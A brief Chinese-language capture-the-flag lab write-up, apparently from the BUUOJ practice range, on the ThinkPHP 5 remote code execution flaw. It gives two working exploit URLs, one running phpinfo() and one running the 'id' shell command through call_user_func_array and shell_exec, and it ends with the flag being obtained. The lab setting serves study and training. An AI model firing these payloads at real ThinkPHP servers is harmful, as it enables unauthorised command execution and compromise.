[ThinkPHP]5-Rce

靶場首頁

 

 

構造POC 

POC1

該poc會執行phpinfo()

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1  # 將執行phpinfo()

 

 

 POC2

該poc將會執行id命令

http://node3.buuoj.cn:25181/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

 

 爆出flag